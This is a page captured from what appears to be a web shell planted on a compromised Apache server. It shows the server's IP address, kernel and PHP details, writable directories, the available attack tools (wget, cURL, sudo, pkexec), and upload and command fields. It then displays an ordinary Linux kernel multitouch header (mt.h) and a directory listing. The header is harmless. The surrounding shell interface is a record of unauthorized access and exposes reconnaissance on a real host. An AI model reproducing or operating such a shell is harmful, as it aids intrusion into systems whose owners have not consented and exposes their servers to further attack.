p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/modules/3.10.0-1160.105.1.el7.x86_64/source/include/linux/input/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/lib/modules/3.10.0-1160.105.1.el7.x86_64/source/include/linux/input/mt.h
#ifndef _INPUT_MT_H
#define _INPUT_MT_H

/*
 * Input Multitouch Library
 *
 * Copyright (c) 2010 Henrik Rydberg
 *
 * This program is free software; you can redistribute it and/or modify it
 * under the terms of the GNU General Public License version 2 as published by
 * the Free Software Foundation.
 */

#include <linux/input.h>

#define TRKID_MAX	0xffff

#define INPUT_MT_POINTER	0x0001	/* pointer device, e.g. trackpad */
#define INPUT_MT_DIRECT		0x0002	/* direct device, e.g. touchscreen */
#define INPUT_MT_DROP_UNUSED	0x0004	/* drop contacts not seen in frame */
#define INPUT_MT_TRACK		0x0008	/* use in-kernel tracking */
#define INPUT_MT_SEMI_MT	0x0010	/* semi-mt device, finger count handled manually */

/**
 * struct input_mt_slot - represents the state of an input MT slot
 * @abs: holds current values of ABS_MT axes for this slot
 * @frame: last frame at which input_mt_report_slot_state() was called
 * @key: optional driver designation of this slot
 */
struct input_mt_slot {
	int abs[ABS_MT_LAST - ABS_MT_FIRST + 1];
	unsigned int frame;
	unsigned int key;
};

/**
 * struct input_mt - state of tracked contacts
 * @trkid: stores MT tracking ID for the next contact
 * @num_slots: number of MT slots the device uses
 * @slot: MT slot currently being transmitted
 * @flags: input_mt operation flags
 * @frame: increases every time input_mt_sync_frame() is called
 * @red: reduced cost matrix for in-kernel tracking
 * @slots: array of slots holding current values of tracked contacts
 */
struct input_mt {
	int trkid;
	int num_slots;
	int slot;
	unsigned int flags;
	unsigned int frame;
	int *red;
	struct input_mt_slot slots[];
};

static inline void input_mt_set_value(struct input_mt_slot *slot,
				      unsigned code, int value)
{
	slot->abs[code - ABS_MT_FIRST] = value;
}

static inline int input_mt_get_value(const struct input_mt_slot *slot,
				     unsigned code)
{
	return slot->abs[code - ABS_MT_FIRST];
}

static inline bool input_mt_is_active(const struct input_mt_slot *slot)
{
	return input_mt_get_value(slot, ABS_MT_TRACKING_ID) >= 0;
}

static inline bool input_mt_is_used(const struct input_mt *mt,
				    const struct input_mt_slot *slot)
{
	return slot->frame == mt->frame;
}

int input_mt_init_slots(struct input_dev *dev, unsigned int num_slots,
			unsigned int flags);
void input_mt_destroy_slots(struct input_dev *dev);

static inline int input_mt_new_trkid(struct input_mt *mt)
{
	return mt->trkid++ & TRKID_MAX;
}

static inline void input_mt_slot(struct input_dev *dev, int slot)
{
	input_event(dev, EV_ABS, ABS_MT_SLOT, slot);
}

static inline bool input_is_mt_value(int axis)
{
	return axis >= ABS_MT_FIRST && axis <= ABS_MT_LAST;
}

static inline bool input_is_mt_axis(int axis)
{
	return axis == ABS_MT_SLOT || input_is_mt_value(axis);
}

void input_mt_report_slot_state(struct input_dev *dev,
				unsigned int tool_type, bool active);

void input_mt_report_finger_count(struct input_dev *dev, int count);
void input_mt_report_pointer_emulation(struct input_dev *dev, bool use_count);

void input_mt_sync_frame(struct input_dev *dev);

/**
 * struct input_mt_pos - contact position
 * @x: horizontal coordinate
 * @y: vertical coordinate
 */
struct input_mt_pos {
	s16 x, y;
};

int input_mt_assign_slots(struct input_dev *dev, int *slots,
			  const struct input_mt_pos *pos, int num_pos,
			  int dmax);

int input_mt_get_slot_by_key(struct input_dev *dev, int key);

#endif
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
January 19 2024 08:12:51
0 / 0
0755
ad714x.h
1.337 KB
November 06 2023 09:15:52
0 / 0
0644
adp5589.h
5.642 KB
November 06 2023 09:15:52
0 / 0
0644
adxl34x.h
11.302 KB
November 06 2023 09:15:52
0 / 0
0644
as5011.h
0.532 KB
November 06 2023 09:15:52
0 / 0
0644
auo-pixcir-ts.h
1.385 KB
November 06 2023 09:15:52
0 / 0
0644
bu21013.h
0.724 KB
November 06 2023 09:15:52
0 / 0
0644
cma3000.h
1.558 KB
November 06 2023 09:15:52
0 / 0
0644
cy8ctmg110_pdata.h
0.218 KB
November 06 2023 09:15:52
0 / 0
0644
cyttsp.h
1.898 KB
November 06 2023 09:15:52
0 / 0
0644
edt-ft5x06.h
0.521 KB
November 06 2023 09:15:52
0 / 0
0644
eeti_ts.h
0.174 KB
November 06 2023 09:15:52
0 / 0
0644
gp2ap002a00f.h
0.617 KB
November 06 2023 09:15:52
0 / 0
0644
gpio_tilt.h
1.939 KB
November 06 2023 09:15:52
0 / 0
0644
ili210x.h
0.164 KB
November 06 2023 09:15:52
0 / 0
0644
kxtj9.h
1.735 KB
November 06 2023 09:15:52
0 / 0
0644
lm8333.h
0.658 KB
November 06 2023 09:15:52
0 / 0
0644
matrix_keypad.h
3.136 KB
November 06 2023 09:15:52
0 / 0
0644
mt.h
3.35 KB
November 06 2023 09:15:52
0 / 0
0644
navpoint.h
0.384 KB
November 06 2023 09:15:52
0 / 0
0644
pixcir_ts.h
0.145 KB
November 06 2023 09:15:52
0 / 0
0644
pmic8xxx-keypad.h
1.541 KB
November 06 2023 09:15:52
0 / 0
0644
pmic8xxx-pwrkey.h
1.052 KB
November 06 2023 09:15:52
0 / 0
0644
samsung-keypad.h
1.296 KB
November 06 2023 09:15:52
0 / 0
0644
sh_keysc.h
0.383 KB
November 06 2023 09:15:52
0 / 0
0644
sparse-keymap.h
2.111 KB
November 06 2023 09:15:52
0 / 0
0644
tca8418_keypad.h
1.299 KB
November 06 2023 09:15:52
0 / 0
0644
ti_am335x_tsc.h
0.564 KB
November 06 2023 09:15:52
0 / 0
0644
tps6507x-ts.h
0.565 KB
November 06 2023 09:15:52
0 / 0
0644